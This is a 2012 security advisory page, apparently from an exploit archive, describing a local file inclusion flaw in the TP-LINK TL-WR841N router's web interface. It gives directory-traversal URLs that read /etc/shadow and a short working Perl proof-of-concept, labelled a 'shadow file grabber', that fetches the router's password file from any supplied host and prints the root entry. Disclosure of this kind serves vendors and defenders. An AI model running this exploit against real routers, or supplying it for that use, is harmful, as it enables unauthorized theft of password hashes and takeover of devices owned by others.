TP-LINK TL-WR841N Local File Inclusion

2012-10-30 / 2012-11-10
Credit: Matan Azugi
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-98


Ogólna skala CVSS: 7.8/10
Znaczenie: 6.9/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Pełny
Wpływ na integralność: Brak
Wpływ na dostępność: Brak

=| Security Advisory - TP-LINK TL-WR841N LFI |= Issue: TL-WR841N 300Mbps Wireless N Router by "TP-LINK" Firmware Version: 3.13.9 Build 120201 Rel.54965n And Below Versions Discovered Date: 24/10/2012 Author: Matan Azugi [matan@madsec.co.il] Product Vendor: http://www.tp-link.com/en/products/details/?model=TL-WR841N Details: TP-LINK TL-WR841N Wireless Router is prone to a Local File Inclusion(LFI) Vulnerability. The vulnerability exists in Web-Based Management. The URL parameter is not properly sanitized before being used. Exploitation URL: <http://192.168.0.1/../../../../../../../etc/shadow> http://192.168.0.1/help/../../../../../../../../etc/shadow Successful exploitation allows viewing the router configuration and password files. Proof of Concept Code: #TP-LINK TL-WR841N Shadow file grabber# #built by Pulse matan@madsec.co.il# #enjoy# use LWP::UserAgent; $host = $ARGV[0]; chomp($host); if($host !~ /http:\/\//) { $host = "http://$host"; }; my $ua = LWP::UserAgent->new; $ua->timeout(30); $lfi = "/help/../../../../../../../../etc/shadow"; $url = $host.$lfi; $request = HTTP::Request->new('GET', $url); $response = $ua->request($request); my $html = $response->content; if($html =~ /root/) { print "root$' \n" ; } Thank You, Matan Azugi, MCSE OSCP <http://www.madsec.co.il> http://www.madsec.co.il

Referencje:

http://www.tp-link.com/en/products/details/?model=TL-WR841N


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top